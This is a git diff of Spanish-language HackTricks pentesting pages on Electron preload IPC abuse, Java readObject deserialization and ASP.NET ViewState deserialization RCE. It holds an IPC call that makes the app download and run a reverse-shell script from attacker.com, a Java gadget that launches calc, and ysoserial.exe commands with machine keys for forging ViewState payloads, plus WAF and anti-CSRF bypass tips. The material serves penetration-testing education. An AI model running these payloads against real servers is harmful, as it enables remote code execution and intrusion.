* **Comparte tus trucos de hacking enviando PRs a los repositorios de** [**HackTricks**](https://github.com/carlospolop/hacktricks) y [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) en github.
|
||||
* Si deseas ver tu **empresa anunciada en HackTricks** o **descargar HackTricks en PDF** Consulta los [**PLANES DE SUSCRIPCIÓN**](https://github.com/sponsors/carlospolop)!
|
||||
* Obtén el [**oficial PEASS & HackTricks swag**](https://peass.creator-spring.com)
|
||||
* Descubre [**The PEASS Family**](https://opensea.io/collection/the-peass-family), nuestra colección exclusiva de [**NFTs**](https://opensea.io/collection/the-peass-family)
|
||||
* **Únete al** 💬 [**grupo de Discord**](https://discord.gg/hRep4RUj7f) o al [**grupo de telegram**](https://t.me/peass) o **sígueme en** Twitter 🐦 [**@carlospolopm**](https://twitter.com/carlospolopm)**.**
|
||||
* **Comparte tus trucos de hacking enviando PRs a los** [**HackTricks**](https://github.com/carlospolop/hacktricks) y [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) repositorios de github.
|
||||
|
||||
</details>
|
||||
|
||||
|
||||
Si el script de precarga expone un punto final IPC del archivo `main.js`, el proceso de renderizado podrá acceder a él y, si es vulnerable, podría ser posible un RCE.
|
||||
Si el script de precarga expone un punto de conexión IPC desde el archivo `main.js`, el proceso de renderizado podrá acceder a él y, si es vulnerable, podría ser posible una RCE.
|
||||
|
||||
**Todos estos ejemplos fueron tomados de aquí** [**https://www.youtube.com/watch?v=xILfQGkLXQo**](https://www.youtube.com/watch?v=xILfQGkLXQo)
|
||||
**Todos estos ejemplos fueron tomados de aquí** [**https://www.youtube.com/watch?v=xILfQGkLXQo**](https://www.youtube.com/watch?v=xILfQGkLXQo). Consulta el video para obtener más información.
|
||||
|
||||
# Ejemplo 1
|
||||
|
||||
Comprueba cómo el `main.js` escucha en `getUpdate` y **descargará y ejecutará cualquier URL** pasada.\
|
||||
Observa también cómo `preload.js` **expone cualquier evento IPC** del main.
|
||||
Verifica cómo `main.js` escucha en `getUpdate` y **descargará y ejecutará cualquier URL** pasada.\
|
||||
Verifica también cómo `preload.js` **expone cualquier evento IPC** desde el main.
|
||||
```javascript
|
||||
// Part of code of main.js
|
||||
ipcMain.on('getUpdate', (event, url) => {
|
||||
|
@ -78,7 +78,7 @@ electronSend("getUpdate","https://attacker.com/path/to/revshell.sh");
|
|||
```
|
||||
# Ejemplo 2
|
||||
|
||||
Si el script de precarga expone directamente al renderizador una forma de llamar a shell.openExternal es posible obtener RCE
|
||||
Si el script de precarga expone directamente al renderizador una forma de llamar a shell.openExternal, es posible obtener RCE.
|
||||
```javascript
|
||||
// Part of preload.js code
|
||||
window.electronOpenInBrowser = (url) => {
|
||||
|
@ -87,7 +87,7 @@ shell.openExternal(url);
|
|||
```
|
||||
# Ejemplo 3
|
||||
|
||||
Si el script de precarga expone formas de comunicarse completamente con el proceso principal, un XSS podrá enviar cualquier evento. El impacto de esto depende de lo que el proceso principal exponga en términos de IPC.
|
||||
Si el script de precarga expone formas de comunicarse completamente con el proceso principal, un XSS podrá enviar cualquier evento. El impacto de esto depende de lo que el proceso principal expone en términos de IPC.
|
||||
```javascript
|
||||
window.electronListen = (event, cb) => {
|
||||
ipcRenderer.on(event, cb);
|
||||
|
@ -99,14 +99,14 @@ ipcRenderer.send(event, data);
|
|||
```
|
||||
<details>
|
||||
|
||||
<summary><strong>Aprende hacking en AWS de cero a héroe con</strong> <a href="https://training.hacktricks.xyz/courses/arte"><strong>htARTE (HackTricks AWS Red Team Expert)</strong></a><strong>!</strong></summary>
|
||||
<summary><strong>Aprende hacking en AWS de cero a héroe con</strong> <a href="https://training.hacktricks.xyz/courses/arte"><strong>htARTE (Experto en Red Team de HackTricks en AWS)</strong></a><strong>!</strong></summary>
|
||||
|
||||
Otras formas de apoyar a HackTricks:
|
||||
|
||||
* Si quieres ver tu **empresa anunciada en HackTricks** o **descargar HackTricks en PDF** consulta los [**PLANES DE SUSCRIPCIÓN**](https://github.com/sponsors/carlospolop)!
|
||||
* Consigue el [**merchandising oficial de PEASS & HackTricks**](https://peass.creator-spring.com)
|
||||
* Descubre [**La Familia PEASS**](https://opensea.io/collection/the-peass-family), nuestra colección de [**NFTs**](https://opensea.io/collection/the-peass-family) exclusivos
|
||||
* **Únete al** 💬 [**grupo de Discord**](https://discord.gg/hRep4RUj7f) o al [**grupo de telegram**](https://t.me/peass) o **sígueme** en **Twitter** 🐦 [**@carlospolopm**](https://twitter.com/carlospolopm)**.**
|
||||
* **Comparte tus trucos de hacking enviando PRs a los repositorios de github** [**HackTricks**](https://github.com/carlospolop/hacktricks) y [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud).
|
||||
* Si quieres ver tu **empresa anunciada en HackTricks** o **descargar HackTricks en PDF** Consulta los [**PLANES DE SUSCRIPCIÓN**](https://github.com/sponsors/carlospolop)!
|
||||
* Obtén el [**oficial PEASS & HackTricks swag**](https://peass.creator-spring.com)
|
||||
* Descubre [**La Familia PEASS**](https://opensea.io/collection/the-peass-family), nuestra colección exclusiva de [**NFTs**](https://opensea.io/collection/the-peass-family)
|
||||
* **Únete al** 💬 [**grupo de Discord**](https://discord.gg/hRep4RUj7f) o al [**grupo de telegram**](https://t.me/peass) o **sígueme en** **Twitter** 🐦 [**@carlospolopm**](https://twitter.com/carlospolopm)**.**
|
||||
* **Comparte tus trucos de hacking enviando PRs a los** [**HackTricks**](https://github.com/carlospolop/hacktricks) y [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) repositorios de github.
|
||||
|
||||
</details>
|
||||
|
|
|
@ -1,83 +1,98 @@
|
|||
En este POST se explicará un ejemplo usando java.io.Serializable.
|
||||
<details>
|
||||
|
||||
<summary><strong>Aprende hacking en AWS de cero a héroe con</strong> <a href="https://training.hacktricks.xyz/courses/arte"><strong>htARTE (HackTricks AWS Red Team Expert)</strong></a><strong>!</strong></summary>
|
||||
|
||||
Otras formas de apoyar a HackTricks:
|
||||
|
||||
* Si quieres ver tu **empresa anunciada en HackTricks** o **descargar HackTricks en PDF** Consulta los [**PLANES DE SUSCRIPCIÓN**](https://github.com/sponsors/carlospolop)!
|
||||
* Obtén la [**merchandising oficial de PEASS & HackTricks**](https://peass.creator-spring.com)
|
||||
* Descubre [**La Familia PEASS**](https://opensea.io/collection/the-peass-family), nuestra colección exclusiva de [**NFTs**](https://opensea.io/collection/the-peass-family)
|
||||
* **Únete al** 💬 [**grupo de Discord**](https://discord.gg/hRep4RUj7f) o al [**grupo de telegram**](https://t.me/peass) o **sígueme** en **Twitter** 🐦 [**@carlospolopm**](https://twitter.com/carlospolopm)**.**
|
||||
* **Comparte tus trucos de hacking enviando PRs a los** [**HackTricks**](https://github.com/carlospolop/hacktricks) y [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) repositorios de github.
|
||||
|
||||
</details>
|
||||
|
||||
|
||||
En este POST se va a explicar un ejemplo usando `java.io.Serializable`.
|
||||
|
||||
# Serializable
|
||||
|
||||
La interfaz Java `Serializable` (`java.io.Serializable`) es una interfaz de marcador que sus clases deben implementar si van a ser **serializadas** y **deserializadas**. La serialización de objetos Java (escritura) se realiza con [ObjectOutputStream](http://tutorials.jenkov.com/java-io/objectoutputstream.html) y la deserialización (lectura) se realiza con [ObjectInputStream](http://tutorials.jenkov.com/java-io/objectinputstream.html).
|
||||
La interfaz `Serializable` de Java (`java.io.Serializable` es una interfaz marcadora que tus clases deben implementar si van a ser **serializadas** y **deserializadas**. La serialización de objetos Java (escritura) se realiza con el [ObjectOutputStream](http://tutorials.jenkov.com/java-io/objectoutputstream.html) y la deserialización (lectura) se realiza con el [ObjectInputStream](http://tutorials.jenkov.com/java-io/objectinputstream.html).
|
||||
|
||||
Veamos un ejemplo con una **clase Persona** que es **serializable**. Esta clase **sobrescribe la función readObject**, por lo que cuando **cualquier objeto** de esta **clase** se **deserializa**, esta **función** se va a **ejecutar**.\
|
||||
En el ejemplo, la **función readObject** de la clase Persona llama a la función `eat()` de su mascota y la función `eat()` de un perro (por alguna razón) llama a un **calc.exe**. **Vamos a ver cómo serializar y deserializar un objeto Persona para ejecutar esta calculadora:**
|
||||
Veamos un ejemplo con una **clase Person** que es **serializable**. Esta clase **sobrescribe la función readObject**, por lo que cuando **cualquier objeto** de esta **clase** es **deserializado**, esta **función** se va a **ejecutar**.\
|
||||
En el ejemplo, la **función readObject** de la clase Person llama a la función `eat()` de su mascota y la función `eat()` de un Perro (por alguna razón) llama a un **calc.exe**. **Vamos a ver cómo serializar y deserializar un objeto Person para ejecutar esta calculadora:**
|
||||
|
||||
**El siguiente ejemplo es de [https://medium.com/@knownsec404team/java-deserialization-tool-gadgetinspector-first-glimpse-74e99e493649](https://medium.com/@knownsec404team/java-deserialization-tool-gadgetinspector-first-glimpse-74e99e493649)**
|
||||
```java
|
||||
import java.io.Serializable;
|
||||
import java.io.*;
|
||||
|
||||
public class TestDeserialization {
|
||||
interface Animal {
|
||||
public void eat();
|
||||
}
|
||||
//Class must implements Serializable to be serializable
|
||||
public static class Cat implements Animal,Serializable {
|
||||
@Override
|
||||
public void eat() {
|
||||
System.out.println("cat eat fish");
|
||||
}
|
||||
}
|
||||
//Class must implements Serializable to be serializable
|
||||
public static class Dog implements Animal,Serializable {
|
||||
@Override
|
||||
public void eat() {
|
||||
try {
|
||||
Runtime.getRuntime().exec("calc");
|
||||
} catch (IOException e) {
|
||||
e.printStackTrace();
|
||||
}
|
||||
System.out.println("dog eat bone");
|
||||
}
|
||||
}
|
||||
//Class must implements Serializable to be serializable
|
||||
public static class Person implements Serializable {
|
||||
private Animal pet;
|
||||
public Person(Animal pet){
|
||||
this.pet = pet;
|
||||
}
|
||||
//readObject implementation, will call the readObject from ObjectInputStream and then call pet.eat()
|
||||
private void readObject(java.io.ObjectInputStream stream)
|
||||
throws IOException, ClassNotFoundException {
|
||||
pet = (Animal) stream.readObject();
|
||||
pet.eat();
|
||||
}
|
||||
}
|
||||
public static void GeneratePayload(Object instance, String file)
|
||||
throws Exception {
|
||||
//Serialize the constructed payload and write it to the file
|
||||
File f = new File(file);
|
||||
ObjectOutputStream out = new ObjectOutputStream(new FileOutputStream(f));
|
||||
out.writeObject(instance);
|
||||
out.flush();
|
||||
out.close();
|
||||
}
|
||||
public static void payloadTest(String file) throws Exception {
|
||||
//Read the written payload and deserialize it
|
||||
ObjectInputStream in = new ObjectInputStream(new FileInputStream(file));
|
||||
Object obj = in.readObject();
|
||||
System.out.println(obj);
|
||||
in.close();
|
||||
}
|
||||
public static void main(String[] args) throws Exception {
|
||||
// Example to call Person with a Dog
|
||||
Animal animal = new Dog();
|
||||
Person person = new Person(animal);
|
||||
GeneratePayload(person,"test.ser");
|
||||
payloadTest("test.ser");
|
||||
// Example to call Person with a Cat
|
||||
//Animal animal = new Cat();
|
||||
//Person person = new Person(animal);
|
||||
//GeneratePayload(person,"test.ser");
|
||||
//payloadTest("test.ser");
|
||||
}
|
||||
interface Animal {
|
||||
public void eat();
|
||||
}
|
||||
//Class must implements Serializable to be serializable
|
||||
public static class Cat implements Animal,Serializable {
|
||||
@Override
|
||||
public void eat() {
|
||||
System.out.println("cat eat fish");
|
||||
}
|
||||
}
|
||||
//Class must implements Serializable to be serializable
|
||||
public static class Dog implements Animal,Serializable {
|
||||
@Override
|
||||
public void eat() {
|
||||
try {
|
||||
Runtime.getRuntime().exec("calc");
|
||||
} catch (IOException e) {
|
||||
e.printStackTrace();
|
||||
}
|
||||
System.out.println("dog eat bone");
|
||||
}
|
||||
}
|
||||
//Class must implements Serializable to be serializable
|
||||
public static class Person implements Serializable {
|
||||
private Animal pet;
|
||||
public Person(Animal pet){
|
||||
this.pet = pet;
|
||||
}
|
||||
//readObject implementation, will call the readObject from ObjectInputStream and then call pet.eat()
|
||||
private void readObject(java.io.ObjectInputStream stream)
|
||||
throws IOException, ClassNotFoundException {
|
||||
pet = (Animal) stream.readObject();
|
||||
pet.eat();
|
||||
}
|
||||
}
|
||||
public static void GeneratePayload(Object instance, String file)
|
||||
throws Exception {
|
||||
//Serialize the constructed payload and write it to the file
|
||||
File f = new File(file);
|
||||
ObjectOutputStream out = new ObjectOutputStream(new FileOutputStream(f));
|
||||
out.writeObject(instance);
|
||||
out.flush();
|
||||
out.close();
|
||||
}
|
||||
public static void payloadTest(String file) throws Exception {
|
||||
//Read the written payload and deserialize it
|
||||
ObjectInputStream in = new ObjectInputStream(new FileInputStream(file));
|
||||
Object obj = in.readObject();
|
||||
System.out.println(obj);
|
||||
in.close();
|
||||
}
|
||||
public static void main(String[] args) throws Exception {
|
||||
// Example to call Person with a Dog
|
||||
Animal animal = new Dog();
|
||||
Person person = new Person(animal);
|
||||
GeneratePayload(person,"test.ser");
|
||||
payloadTest("test.ser");
|
||||
// Example to call Person with a Cat
|
||||
//Animal animal = new Cat();
|
||||
//Person person = new Person(animal);
|
||||
//GeneratePayload(person,"test.ser");
|
||||
//payloadTest("test.ser");
|
||||
}
|
||||
}
|
||||
```
|
||||
Este ejemplo fue tomado de [https://medium.com/@knownsec404team/java-deserialization-tool-gadgetinspector-first-glimpse-74e99e493649](https://medium.com/@knownsec404team/java-deserialization-tool-gadgetinspector-first-glimpse-74e99e493649)
|
||||
|
||||
## Conclusión
|
||||
|
||||
Como se puede ver en este ejemplo muy básico, la "vulnerabilidad" aquí aparece porque la función **readObject** está **llamando a otras funciones vulnerables**.
|
||||
Como puedes ver en este ejemplo muy básico, la "vulnerabilidad" aquí aparece porque la función **readObject** está **llamando a otras funciones vulnerables**.
|
||||
|
|
|
@ -1,236 +1,15 @@
|
|||
# Introducción
|
||||
|
||||
Las aplicaciones web ASP.NET utilizan ViewState para mantener el estado de una página y persistir datos en un formulario web.
|
||||
|
||||
Normalmente es posible **ejecutar código en un servidor web donde se puede forjar un ViewState válido**. Esto se puede hacer cuando la función de **validación MAC** ha sido **desactivada** o conociendo:
|
||||
|
||||
* La **clave de validación y su algoritmo** **previo** a la versión de .NET Framework **4.5**
|
||||
* La **clave de validación, algoritmo de validación, clave de descifrado y algoritmo de descifrado** en .NET Framework versión 4.5 o superior
|
||||
|
||||
Para evitar ataques de manipulación, .NET Framework puede **firmar y cifrar** el ViewState que ha sido serializado utilizando la clase `LosFormatter`. Luego verifica la firma utilizando el mecanismo de validación de código de autenticación de mensajes (MAC). La clase `ObjectStateFormatter` realiza las tareas de firma, cifrado y verificación. Las **claves necesarias para realizar el mecanismo de firma y/o cifrado** se pueden almacenar en la sección `machineKey` del archivo **`web.config`** (nivel de aplicación) o **`machine.config`** (nivel de máquina). Esto es normalmente el caso cuando se utilizan múltiples servidores web para servir la misma aplicación, a menudo detrás de un balanceador de carga en una granja web o clúster. Lo siguiente muestra el formato de la sección `machineKey` en un archivo de configuración de una aplicación ASP.NET que utiliza la versión 2.0 o superior de .NET Framework:
|
||||
```markup
|
||||
<machineKey validationKey="[String]" decryptionKey="[String]" validation="[SHA1 | MD5 | 3DES | AES | HMACSHA256 | HMACSHA384 | HMACSHA512 | alg:algorithm_name]" decryption="[Auto | DES | 3DES | AES | alg:algorithm_name]" />
|
||||
<machineKey validationKey="70DBADBFF4B7A13BE67DD0B11B177936F8F3C98BCE2E0A4F222F7A769804D451ACDB196572FFF76106F33DCEA1571D061336E68B12CF0AF62D56829D2A48F1B0" decryptionKey="34C69D15ADD80DA4788E6E3D02694230CF8E9ADFDA2708EF43CAEF4C5BC73887" validation="SHA1" decryption="AES" />
|
||||
```
|
||||
Es importante tener en cuenta que cuando no se ha definido una sección `machineKey` dentro de los archivos de configuración o cuando los atributos `validationKey` y `decryptionKey` se han establecido en `AutoGenerate`, **la aplicación genera los valores necesarios dinámicamente** en función de un secreto criptográficamente aleatorio. Los algoritmos también pueden ser seleccionados automáticamente. Actualmente, en la última versión de .NET Framework, el algoritmo de validación predeterminado es `HMACSHA256` y el algoritmo de descifrado predeterminado es `AES`. Consulte [\[13\]](https://docs.microsoft.com/en-us/dotnet/api/system.web.configuration.machinekeysection) para obtener más detalles.
|
||||
|
||||
# RCE con validación de MAC ViewState deshabilitada
|
||||
|
||||
En el pasado, era posible **deshabilitar la validación de MAC** simplemente estableciendo la propiedad `enableViewStateMac` en `False`. Microsoft lanzó un parche en septiembre de 2014 [\[3\]](https://devblogs.microsoft.com/aspnet/farewell-enableviewstatemac/) para hacer cumplir la validación de MAC ignorando esta propiedad en todas las versiones de .NET Framework. Aunque algunos de nosotros podríamos creer que "_ya no se puede deshabilitar el MAC ViewState_" [\[4\]](https://www.owasp.org/index.php/Anti\_CSRF\_Tokens\_ASP.NET), todavía es posible deshabilitar la función de validación de MAC estableciendo la clave del registro `AspNetEnforceViewStateMac` en cero en:
|
||||
```
|
||||
HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\.NETFramework\v{VersionHere}
|
||||
```
|
||||
Alternativamente, agregar la siguiente **configuración peligrosa** al archivo `web.config` a nivel de aplicación también puede deshabilitar la validación MAC:
|
||||
```markup
|
||||
<configuration>
|
||||
…
|
||||
<appSettings>
|
||||
<add key="aspnet:AllowInsecureDeserialization" value="true" />
|
||||
</appSettings>
|
||||
</configuration>
|
||||
```
|
||||
{% hint style="danger" %}
|
||||
Cuando se ha deshabilitado la validación MAC de ViewState, se puede utilizar el proyecto [YSoSerial.Net](https://github.com/pwntester/ysoserial.net) para generar cargas útiles de `LosFormatter` como ViewState para ejecutar código arbitrario en el servidor.
|
||||
{% endhint %}
|
||||
|
||||
Antes de la versión del Framework .NET 4.5, el parámetro `__VIEWSTATE` podía ser encriptado mientras la función de validación MAC estaba deshabilitada. Se debe tener en cuenta que la mayoría de los escáneres no intentan enviar un parámetro ViewState sin encriptar para identificar esta vulnerabilidad. Como resultado, se requiere una prueba manual para verificar si la validación MAC está deshabilitada cuando el parámetro `__VIEWSTATE` ha sido encriptado. Esto se puede comprobar enviando una cadena aleatoria corta en base64 en el parámetro `__VIEWSTATE`. La siguiente URL muestra un ejemplo:
|
||||
```
|
||||
https://victim.com/path/page.aspx?__VIEWSTATE=AAAA
|
||||
```
|
||||
Si la página objetivo **responde con un error, la función de validación MAC ha sido deshabilitada** de lo contrario habría suprimido el mensaje de error de validación MAC. Sin embargo, en escenarios donde no se puede ver el mensaje de error, este truco no funcionará.
|
||||
|
||||
Los escáneres automatizados deben usar una **carga útil que cause un breve retraso** en el lado del servidor. Esto se puede lograr ejecutando el siguiente código ASP.NET como ejemplo para crear un retraso de 10 segundos:
|
||||
```
|
||||
System.Threading.Thread.Sleep(10000);
|
||||
```
|
||||
|
||||
```bash
|
||||
string xaml_payload = @"<ResourceDictionary
|
||||
xmlns=""http://schemas.microsoft.com/winfx/2006/xaml/presentation""
|
||||
xmlns:x=""http://schemas.microsoft.com/winfx/2006/xaml""
|
||||
xmlns:System=""clr-namespace:System;assembly=mscorlib""
|
||||
xmlns:Thr=""clr-namespace:System.Threading;assembly=mscorlib"">
|
||||
<ObjectDataProvider x:Key=""x"" ObjectType = ""{ x:Type Thr:Thread}"" MethodName = ""Sleep"" >
|
||||
<ObjectDataProvider.MethodParameters>
|
||||
<System:Int32>10000</System:Int32>
|
||||
</ObjectDataProvider.MethodParameters>
|
||||
</ObjectDataProvider>
|
||||
</ResourceDictionary>";
|
||||
```
|
||||
# RCE con validación de MAC de ViewState habilitada
|
||||
|
||||
En versiones antiguas (**anteriores a 4.5**), el Framework .NET utiliza la propiedad **`TemplateSourceDirectory`** [\[15\]](https://docs.microsoft.com/en-us/dotnet/api/system.web.ui.control.templatesourcedirectory) al **firmar** un objeto serializado. Sin embargo, desde la versión **4.5**, utiliza las cadenas de **`Purpose`** para crear el hash. Ambos mecanismos **requieren la ruta de destino desde la raíz del directorio de la aplicación** y el **nombre de la página**. Estos parámetros se pueden **extraer de la URL**.
|
||||
|
||||
Las aplicaciones que utilizan un **framework antiguo** y hacen cumplir la encriptación de ViewState aún pueden **aceptar un ViewState firmado sin encriptación**. Esto significa que **conocer la clave de validación y su algoritmo es suficiente** para explotar un sitio web. Parece que ViewState está encriptado por defecto **desde la versión 4.5** incluso cuando la propiedad `viewStateEncryptionMode` se ha establecido en `Never`. Esto significa que en las últimas versiones del Framework .NET también se requiere la **clave de descifrado y su algoritmo** para crear una carga útil.
|
||||
|
||||
El ViewState de ASP.NET contiene una propiedad llamada `ViewStateUserKey` [\[16\]](https://docs.microsoft.com/en-us/previous-versions/dotnet/articles/ms972969\(v=msdn.10\)) que se puede utilizar para mitigar los riesgos de ataques de falsificación de solicitudes entre sitios (CSRF) [\[4\]](https://www.owasp.org/index.php/Anti\_CSRF\_Tokens\_ASP.NET). El valor de la propiedad **`ViewStateUserKey`** (cuando no es `null`) **también se utiliza durante el proceso de firma de ViewState**. Aunque no conocer el valor de este parámetro puede detener nuestro ataque, **su valor a menudo se puede encontrar en las cookies o en un parámetro de entrada oculto** ([\[17\]](https://software-security.sans.org/developer-how-to/developer-guide-csrf) muestra un ejemplo implementado).
|
||||
|
||||
## Plugins ViewState YSoSerial.Net
|
||||
|
||||
En YSoSerial.Net master y YSoSerial.Netv2 se puede encontrar un plugin ([**este**](https://github.com/pwntester/ysoserial.net/blob/master/ysoserial/Plugins/ViewStatePlugin.cs) y [**este**](https://github.com/pwntester/ysoserial.net/blob/v2/ysoserial/Plugins/ViewStatePlugin.cs)) para explotar esta técnica cuando se conoce toda la información.
|
||||
|
||||
### **Para .NET Framework >= 4.5:**
|
||||
```bash
|
||||
.\ysoserial.exe -p ViewState -g TextFormattingRunProperties -c "echo 123 > c:\windows\temp\test.txt" --path="/somepath/testaspx/test.aspx" --apppath="/testaspx/" --decryptionalg="AES" --decryptionkey="34C69D15ADD80DA4788E6E3D02694230CF8E9ADFDA2708EF43CAEF4C5BC73887" --validationalg="HMACSHA256" --validationkey="70DBADBFF4B7A13BE67DD0B11B177936F8F3C98BCE2E0A4F222F7A769804D451ACDB196572FFF76106F33DCEA1571D061336E68B12CF0AF62D56829D2A48F1B0"
|
||||
```
|
||||
### **Para .NET Framework <= 4.0 (legado):**
|
||||
|
||||
_La decryptionKey y su algoritmo no son necesarios aquí:_
|
||||
```bash
|
||||
.\ysoserial.exe -p ViewState -g TypeConfuseDelegate -c "echo 123 > c:\windows\temp\test.txt" --apppath="/testaspx/" --islegacy --validationalg="SHA1" --validationkey="70DBADBFF4B7A13BE67DD0B11B177936F8F3C98BCE2E0A4F222F7A769804D451ACDB196572FFF76106F33DCEA1571D061336E68B12CF0AF62D56829D2A48F1B0" --isdebug
|
||||
```
|
||||
_Además de utilizar diferentes gadgets, es posible utilizar el parámetro `__VIEWSTATEGENERATOR` **en lugar de proporcionar las rutas**:_
|
||||
```bash
|
||||
.\ysoserial.exe -p ViewState -g TextFormattingRunProperties -c "echo 123 > c:\windows\temp\test.txt" --generator=93D20A1B --validationalg="SHA1" --validationkey="70DBADBFF4B7A13BE67DD0B11B177936F8F3C98BCE2E0A4F222F7A769804D451ACDB196572FFF76106F33DCEA1571D061336E68B12CF0AF62D56829D2A48F1B0"
|
||||
```
|
||||
Por defecto, utiliza el gadget ActivitySurrogateSelector que requiere compilar la clase ExploitClass.cs en el proyecto YSoSerial.Net. El payload de ViewState también puede estar **encriptado** para evitar los WAFs cuando se conoce el valor de decryptionKey:
|
||||
```bash
|
||||
.\ysoserial.exe -p ViewState -c "foo to use ActivitySurrogateSelector" --path="/somepath/testaspx/test.aspx" --apppath="/testaspx/" --islegacy --decryptionalg="AES" --decryptionkey="34C69D15ADD80DA4788E6E3D02694230CF8E9ADFDA2708EF43CAEF4C5BC73887" --isencrypted --validationalg="SHA1" --validationkey="70DBADBFF4B7A13BE67DD0B11B177936F8F3C98BCE2E0A4F222F7A769804D451ACDB196572FFF76106F33DCEA1571D061336E68B12CF0AF62D56829D2A48F1B0"
|
||||
```
|
||||
{% hint style="info" %}
|
||||
**Nota:** Debido a la naturaleza de los gadgets utilizados en YSoSerial.Net, la página ASP.NET objetivo siempre responde con un error incluso cuando se ha ejecutado con éxito un exploit en el lado del servidor.
|
||||
{% endhint %}
|
||||
|
||||
### Ruta de la aplicación
|
||||
|
||||
Es importante encontrar la raíz de la ruta de la aplicación para crear un ViewState válido a menos que:
|
||||
|
||||
* La aplicación use la versión 4.0 o inferior del Framework .NET; y
|
||||
* Se conozca el parámetro `__VIEWSTATEGENERATOR`.
|
||||
|
||||
La siguiente captura de pantalla muestra el árbol de rutas en IIS:
|
||||
|
||||
![](https://soroush.secproject.com/downloadable/images/aspnetviewstate/iis.png)
|
||||
|
||||
Puede consultar [\[20\]](https://docs.microsoft.com/en-us/iis/get-started/planning-your-iis-architecture/understanding-sites-applications-and-virtual-directories-on-iis) si no está familiarizado con los términos de directorio virtual y aplicación en IIS.
|
||||
|
||||
Para generar un ViewState para la URL anterior, los argumentos `--path` y `--apppath` deben ser los siguientes:
|
||||
```
|
||||
--path=/dir1/vDir1/dir2/app1/dir3/app2/vDir2/dir4
|
||||
--apppath=/app2/
|
||||
```
|
||||
Si no sabemos que "app2" es el nombre de una aplicación, podemos usar **prueba y error para probar todos los nombres de directorios** en la URL uno por uno hasta encontrar un ViewState que pueda ejecutar código en el servidor (tal vez obteniendo una solicitud DNS o causando un retraso).
|
||||
|
||||
### Generador
|
||||
|
||||
En este caso, se puede usar el argumento `--generator`. El argumento `--isdebug` se puede usar para verificar si el complemento también calcula el mismo parámetro `__VIEWSTATEGENERATOR` cuando se han proporcionado los argumentos `--path` y `--apppath`.
|
||||
|
||||
## Explotando versiones antiguas
|
||||
|
||||
No se identificó ningún gadget para explotar .NET Framework v1.1 en el momento de escribir esta publicación de blog.
|
||||
|
||||
Para explotar aplicaciones que usan .NET Framework v4.0 o inferior, se puede usar la rama YSoSerial.Net v2.0 [\[21\]](https://github.com/nccgroup/VulnerableDotNetHTTPRemoting/tree/master/ysoserial.net-v2) (esto se desarrolló originalmente como parte de otra investigación [\[22\]](https://www.nccgroup.trust/uk/about-us/newsroom-and-events/blogs/2019/march/finding-and-exploiting-.net-remoting-over-http-using-deserialisation/)). Sin embargo, este proyecto solo admite un número limitado de gadgets y también requiere que la máquina objetivo tenga instalado .NET Framework 3.5 o superior.
|
||||
|
||||
## **Otras herramientas**
|
||||
|
||||
Parece que Immunity Canvas admite la creación del parámetro ViewState cuando se conocen las claves de validación y cifrado [\[29\]](https://vimeopro.com/user18478112/canvas/video/260982761). Las siguientes herramientas también se lanzaron coincidentemente en el mismo momento en que estaba a punto de publicar mi trabajo, lo cual fue bastante sorprendente:
|
||||
|
||||
* [https://github.com/0xACB/viewgen](https://github.com/0xACB/viewgen) (escrito en Python)
|
||||
* [https://github.com/Illuminopi/RCEvil.NET](https://github.com/Illuminopi/RCEvil.NET) (escrito en .NET)
|
||||
|
||||
Creo que estas herramientas actualmente **no diferencian entre diferentes versiones de .NET** Framework y apuntan a la criptografía heredada. Además, **no utilizan el parámetro `ViewStateUserKey`** que podría estar en uso para detener los ataques CSRF.
|
||||
|
||||
# Consejos adicionales
|
||||
|
||||
## **Usando solicitudes GET**
|
||||
|
||||
También es posible enviar el parámetro `__VIEWSTATE` en la URL a través de una solicitud GET. El único factor limitante es la longitud de la URL que limita el tipo de gadgets que se pueden usar aquí.
|
||||
|
||||
## **Cifrado en .NET Framework anterior a la versión 4.5**
|
||||
|
||||
Como se mencionó anteriormente, el parámetro `__VIEWSTATE` no necesita estar cifrado al explotar .NET Framework 4.0 y versiones anteriores (probado en v2.0 a través de v4.0) incluso cuando se ha establecido la propiedad `ViewStateEncryptionMode` en `Always`. ASP.NET decide si el ViewState ha sido cifrado o no al encontrar el parámetro `__VIEWSTATEENCRYPTED` en la solicitud (no necesita tener ningún valor). Por lo tanto, es posible enviar un ViewState sin cifrar eliminando el parámetro `__VIEWSTATEENCRYPTED` de la solicitud.
|
||||
|
||||
Esto también significa que cambiar la clave de descifrado o su algoritmo no puede detener los ataques cuando se ha robado la clave de validación y su algoritmo.
|
||||
|
||||
El parámetro `__VIEWSTATE` se puede cifrar para evitar cualquier WAF.
|
||||
|
||||
## **Burlando el mecanismo anti-CSRF (anti-XSRF)**
|
||||
|
||||
Una página ASP.NET produce un error cuando se utiliza un parámetro `__VIEWSTATE` no válido. Sin embargo, la página aún puede recibir sus entradas cuando se usa `Request.Form` directamente en el código, por ejemplo, usando `Request.Form["txtMyInput"]` en lugar de `txtMyInput.Text`. **El ataque CSRF se puede lograr eliminando el parámetro `__VIEWSTATE` de la solicitud o agregando el parámetro `__PREVIOUSPAGE` con un valor no válido**. Como el parámetro `__PREVIOUSPAGE` se cifra y se formatea en base64 de forma predeterminada, incluso proporcionar un solo carácter como su valor debería causar un error.
|
||||
|
||||
Esto podría resultar en la omisión del mecanismo de protección anti-CSRF que se ha implementado estableciendo el parámetro `Page.ViewStateUserKey`.
|
||||
|
||||
## **Uso del parámetro ViewStateGenerator**
|
||||
|
||||
Cuando se conoce el parámetro `__VIEWSTATEGENERATOR`, se puede usar para las aplicaciones ASP.NET que usan la versión 4.0 o inferior de .NET Framework para firmar un objeto serializado sin conocer la ruta de la aplicación.
|
||||
|
||||
## **Fragmentación de ViewState para burlar WAFs**
|
||||
|
||||
Es posible dividir el parámetro `__VIEWSTATE` en varias partes cuando se ha establecido la propiedad **`MaxPageStateFieldLength`** en un valor **positivo**. Su valor **predeterminado** es **negativo** y significa que el parámetro **`__VIEWSTATE`** no se puede dividir en varias partes.
|
||||
|
||||
Esto podría ser útil para burlar algunos WAFs cuando se permite la fragmentación de ViewState.
|
||||
|
||||
## **Explotando el parámetro EventValidation**
|
||||
|
||||
El parámetro `__EVENTVALIDATION` y algunos otros parámetros también se serializan de manera similar al parámetro `__VIEWSTATE` y se pueden dirigir de manera similar. Explotar un problema de deserialización a través de `__EVENTVALIDATION` es más restrictivo y requiere:
|
